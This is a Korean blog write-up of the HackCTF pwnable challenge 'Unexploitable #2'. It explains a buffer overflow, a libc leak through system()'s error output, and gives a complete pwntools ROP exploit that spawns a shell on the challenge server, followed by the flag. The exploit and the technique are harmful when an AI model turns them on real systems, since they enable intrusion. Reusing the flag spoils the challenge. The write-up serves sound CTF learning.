[Pwnable] Unexploitable #2
Wargame/HackCTF

[Pwnable] Unexploitable #2

이번에는 Unexploitable #2이다.

 

이 문제는 약간의 trick 문제라 그 trick을 잘 알고 있으면 쉽게 풀 수 있다.

 

우선 Mitigation check부터 하자

 

Partial Relro, no canary, NX enable, none pie

 

코드를 살펴보자

main에서는 그냥 평범하게 fgets 부분에서 BOF 터져서 ROP가 가능해보인다.

 

근데 이제 문제점이 있다.

사용 가능한 함수중에 출력을 해주는 함수가 존재하질 않는다.

 

출력을 해주는 함수가 없는 got를 구할 수 없어 libc base를 구할 수 없다.

그래서 gift 함수를 보면 system 함수를 이용한다.

우리는 system 함수로 libc leak 후에 libc base를 구할거다.

 

system 함수는 출력해주는 기능을 가지고 있다.

#include <stdio.h>
#include <stdlib.h>

int main(void){

    system("AAAAA");
}

 

위 예시 코드를 보면 system 인자로 명령어를 넣어주지 않는다면

위 처럼 문자열을 찾을 수 없다면서 문구를 출력해준다.

 

그럼 우리는 system 함수의 인자로 got 주소를 넣으면 libc leak을 할 수 있다.

그럼 어렵지 않게 익스를 짤 수 있다

 

익스 시나리오는

 

1. system 함수 이용해서 libc leak

2. return to main

3. return to system("/bin/sh\x00")

 

이렇게 짜면 된다

 

이제 진짜 익스 코드를 작성해보자

 

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3029)

# p = process("./prob")

e = ELF("./prob")

pr = 0x0000000000400773
payload = ""
payload += "A" * 0x10
payload += "B" * 0x8
payload += p64(pr)
payload += p64(e.got['system'])
payload += p64(e.sym['system'])
payload += p64(e.sym['main'])

p.sendlineafter('\n', payload)

p.recvuntil("sh: 1: ")

system = u64(p.recv(6).ljust(8, '\x00'))

print hex(system)

libc_base = system - 0x45390
binsh = libc_base + 0x18cd57

payload = ""
payload += "A" * 0x10
payload += "B" * 0x8
payload += p64(pr)
payload += p64(binsh)
payload += p64(libc_base + 0x45390)

p.sendline(payload)
p.interactive()

 

요렇게 system으로 libc base 슥삭 긁어준다음에 libc database에서

offset 찾아서 return to system 해주면 끝~

 

FLAG = HackCTF{u5e_syst3m_t0_get_le4k}

'Wargame > HackCTF' 카테고리의 다른 글

[Pwnable] j0n9hyun's secret  (0) 2021.10.19
[Pwnable] World Best Encryption Tool  (0) 2021.10.18
[Pwnable] Register  (0) 2021.10.18
[Pwnable] RTC  (0) 2021.10.18
[Pwnable] SysROP  (0) 2021.03.08